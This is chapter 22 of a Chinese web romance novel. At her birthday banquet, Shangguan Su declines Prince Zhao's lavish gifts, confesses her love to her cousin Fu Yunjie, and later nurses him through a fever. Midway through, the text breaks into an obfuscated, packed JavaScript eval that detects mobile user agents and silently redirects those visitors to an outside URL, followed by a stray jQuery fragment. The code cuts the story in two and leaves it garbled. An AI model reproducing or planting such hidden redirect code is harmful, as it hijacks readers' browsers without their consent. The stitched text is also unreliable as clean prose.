22. 二十二

作品:《与兄绾情丝

    快到正午时,傅家正是热闹的时候。


    因是未出阁的小姐的生辰,故而没请太多外人,只请了些傅家的亲族和一些熟悉的官员。


    见到姨母时,上官素有些不好意思。不过她似乎并不知晓阿素离家出走一事,只是为今日的热闹而高兴着。


    “我已安排人将你的寿礼送到你房中去了,不知你欢喜什么,只备了些俗物。”甄夫人说道。


    “多谢姨母。”


    “今日阿素是寿星,不必拘着礼。”甄夫人将上官素的手握在手心。


    宴席摆在前厅,拢共八张桌子,已零零散散坐了些亲眷。还有些宾客正从外头进来。


    在宾客之中,最为瞩目的还是昭王凌望。


    他一进入前厅,就四下张望,大抵是在寻找上官素的身影。


    上官素自然也注意到了这一点,但她也清楚,自己正在避免与他的视线相撞。


    站在门口迎接宾客的是傅家主管,傅云阶时不时也会迎接来客。


    此时,他走至凌望身边,对他说了什么,对方皱了皱眉,又点头,随傅云阶离开前厅,不知去向何处。


    但,上官素明白,他们之间要说的是什么事。


    她实在不愿自己去面对凌望的一腔好意,这并非他的错。她得承认,那十年的时光将她变成了一个惯于逃避之人。


    对兄长的情意她逃避,而凌望对于自己的感情,她也下意识地想要避开。


    片刻之后。


    傅云阶和凌望再次出现在前厅,昭王正向着主座方向走来,看不出喜怒。但这样冷淡的表情,在平日总挂着笑意的凌望脸上,已经算得上是很不高兴了。


    他的眼神似乎只有一瞬间落在上官素身上,随即立刻像触了电一般跳开了。


    上官素眉间紧锁,也避开了他的目光。


    他走到姨母和姨父那边,出于礼节般说了些什么。随后脚步微怔,仿佛在做某种挣扎,最终还是走向了上官素。


    此时此刻,他站在上官素跟前,脸上挂着挑不出错的微笑,“敬贺上官小姐,芳辰吉乐。只是我待会儿尚有事务亟待处理,恐怕不能在场庆贺了。”


    “多谢王爷。”她勉强答道。


    凌望朝着外头候着的侍从一挥手,便叫他们将备下的贺礼往里抬,足有三大箱,只是不知内容何物。


    这在众人看来,似乎过于隆重了。


    十七岁并非大日子,本是用不着这样的。


    “王爷厚爱,我实在愧不敢当,还望王爷将礼物收回。”她愈发不忍,态度诚恳又不安地向凌望请求道。


    凌望只是淡淡地答了一句:“送人的贺礼岂有收回的道理?上官小姐安心收下就好。”


    即使他态度坚定,也还是让上官素很是不好受。或许该另寻机会,将东西还给他。


    傅云阶忽然走了过来,对她说:“昭王既然能送的出,便不在意后果。你无须介怀。”


    “是,云阶说得对。”凌望笑了笑,“我先走了,改日再来拜访。”


    他走得匆忙,上官素也不知该不该留他,他与一众侍从的身影便消失在前厅门口。


    分明是生辰这样高兴的日子,上官素却心事重重。满桌子佳肴也只动了几口,谁人向她祝贺、谁送了什么贺礼,她也未曾萦绕心上。


    她觉着沉闷,便向姨母告辞,说想去后院的庭间走走透气。


    方才散了一阵心,便听见傅云阶在她身后唤她。


    “兄长怎么来了?”


    “见你心绪不佳。若你后悔于此决定,现在去与他说清,也来得及。”他慢慢走近她身侧,故作从容地说道。


    “不,我只是觉得很对不住昭王。”她面露伤怀。


    “他心悦你、待你好,你并没有义务要接受,更不必回馈。”


    “若有一人,像昭王心悦于我那样,心悦兄长,兄长也不会为之所动吗?”她下意识问道。


    傅云阶认真地回答了她下意识说出口的问题,即使那问题似乎有些涉及私情,本不该是她和他之间议论的话题,也还是答道:


    “自然不会。我并不会因对方的心意而改变自己的想法,若我对她无意,即便她再好、再心悦于我,仍不会动容。反之亦然。”


    他所说的反之,也就是说,若他心悦一人,也不会因对方对自己无意,而改变情意。


    此心不改。


    也不知谁能走进他的心里。上官素略有些落寞地想着。


    他见阿素沉默不语,遂改了话锋,又道:“待白玉居收整完毕,你若想住过去,随时都可以。我已与母亲商议过,届时会安排一些侍女照顾你的起居。”


    阿素一愣,不解其意。


    他这是希望自己能够离开傅家吗?若是如此,清晨时又何必找她回来?是为了不让姨母失望吗?


    心中虽然猜疑,她面上仍旧客气地致谢着:“兄长妥帖,我已不知如何报答了。”


    “我待你好,一如凌望,不需你回报。”


    “嗯?”


    如此简短的一句话,却仿佛含有巨大的含义,上官素怔了又怔。


    瞳孔微微收缩,她睁大了眼,望向傅云阶。


    “你难道,至今不解吗?”


    傅云阶又向她走了一步、两步……直至她无路可退,后背抵在连廊的柱子上,他才止步。


    但两人之间,已只剩咫尺之距。


    一如清晨时,那被她总结为“一时糊涂”的亲吻时的距离。


    “我……”


    他一直以为,那一日上官素是因为听见了他对母亲说,他心悦于她,想要同她相守一生,才连日躲着他。


    再加上连夜寻她,她一消失,他便心焦如焚;以及白玉居内,在他看来毫无争议的吻。这些事,无一不是在说,他无可救药地爱着上官素。


    哪怕她要躲他,他也不愿更改这份心意。


    甚至,想要强求。


    但终究是不忍令她有一丝委屈,不愿强迫她做不愿的事。


    早上的那一吻,已经背离了他“不想伤害阿素”的意愿。不能继续这样下去。


    自清晨起,他便已觉得脑海混沌不明,浑身冷得厉害,只是一直在忍耐,强装如常。


    原来他淋了雨也是会受寒、会发热的。


    “你只用说,不愿,从此我便不再强求。”他一字一字,尽力说着。


    尽管那颗心不断在他耳边叫嚣:你舍得放手吗?你真的甘心?


    他也还是这样说了。


    傅云阶自认已经足够沉稳,心性在官场中也磨砺得愈发坚硬,足以面对一切悲痛的事。


    他原是有这个信心的。


    对上阿素的眸子时,仿佛一切信心都被其轻易击溃。无论她说出什么,都好像能让他一蹶不振。


    除非她说——愿意。


    “兄长,我一直都对你心存欢喜。”


    她说。


    “什么?”


    她的口中似乎吐露出了他难以理解的话语,他先是愣神,紧接着,心跳如同雷动。


    心情像是翻起了惊涛骇浪一般,久久无法平息。


    他不知道,他的阿素此时此刻,并不比他冷静多少。


    她眸光闪动,就连她自己都在担心,是否下一秒,就会不由自主地退缩。


    其实无论是上官素还是傅云阶,都有些不善言辞。眼下的情景也仿佛说再多都不如一个拥抱更加有效。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386575|199151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他终于回过神来,将上官素揽入怀中。


    真正抱住她的时候,才意识到她比自己想象中还要纤细,尽管他已将这种感受在心中揣度、比对了数不清多少次,那种幻想出来的感奋仍然远远不及这一刻的真实。


    他于是意识到自己的想象力是何其匮乏,无论将“拥有阿素的心”这一件事翻来覆去想了几遍,都不足够。


    依偎在傅云阶怀里时,阿素闻到兄长身上好闻的味道,心跳得厉害。隔着衣衫似乎能感受到他身上肌肉的起伏,并不太夸张,却也能体会到一种有力的安全感。


    他的肌肉半是柔软半是坚硬,形状似乎很……不错。


    她红了脸,在心底默默斥责自己,怎么能这样肖想兄长,实在不妥。


    不过,他的怀抱倒是比自己想象得还要温暖,甚至有一点暖得过头了。


    她才开始觉得有点奇怪,原先紧抱着她的手忽然一松,身体也开始倾倒。


    “啊。”阿素吓了一跳。


    才发现傅云阶的身体往前倒去,差一点儿因为没挺住就两个人一起倒下了。


    傅云阶此时已闭上眼,脸上是病态的酡红。


    她勉强腾出一只手,摸了摸傅云阶的额头,实在烫得厉害。


    也是啊,淋了那一场雨,不受寒反而才奇怪呢。


    ……


    这几日傅云阶都告病在家,没有去上朝。


    上官素担起了照顾他的责任,毕竟这病是因她而起。


    她拧干帕子,整齐叠好,放在傅云阶滚烫的额头上。


    上官素不免想起前几日,她去问华年自己病了那几天发生的事时,听到的真相。


    是因华年担心提到傅云阶会害她伤心,故而将傅云阶来探望她这件事隐瞒了下来。


    她自然不怪华年,若不是那日自己哭得那么狼狈,华年也不会如此。


    只是冤枉了兄长这么多日,自己心里仍还是有些惭愧。


    只能尽力照顾傅云阶,盼他尽早康复。


    她坐在傅云阶床榻边上的矮凳上,正思索着事,手上忽然感到一阵拉力,是傅云阶。


    他闭着眼,看上去像还在小憩当中。


    她掀起些被褥,正准备挣开他的手,将他的手放回被子里时,手上的拉力陡然增大,平衡被打破。阿素不慎,跌到他身上。


    有他的身体垫在下面,倒是不觉得痛,反而更担心他会痛。


    阿素忙抬起头,只看见他的下巴。


    她又抬起些,发现他的嘴角不知何时扬了起来。


    而他的手,此刻正压在她的后背上。


    “兄长……!”


    上官素顿时羞赧不已,微微嗔怒道。


    身下的傅云阶忽然用力一转身,将她裹在被子里,卷到了床榻里侧。


    他侧躺着,病气未脱,眼神尚且不够清明,只这样模糊看着她,亦然心满意足地笑了。


    傅云阶似乎在慢慢贴近她,阿素似有所察般,下意识闭上了眼。


    等待着,那原本要落在她唇上的,却迟迟未落下。


    仿佛犹豫片刻,才轻轻亲在她的额头。


    “阿素,我思念你。”


    病了的傅云阶,声音有些喑哑的磁性,极尽柔情地念着她的名字。


    “知、知道了。”上官素低头。


    一边因他的话而害羞,一边又为他迟迟不肯……而失落。


    傅云阶看出什么,又道:“等……”


    “什么?”


    他坏心地微笑,闭上眼,将那句话说全:“等病好了,再亲。”


    上官素:……


    她钻出被褥,利落地给他盖好,接着——落荒而逃。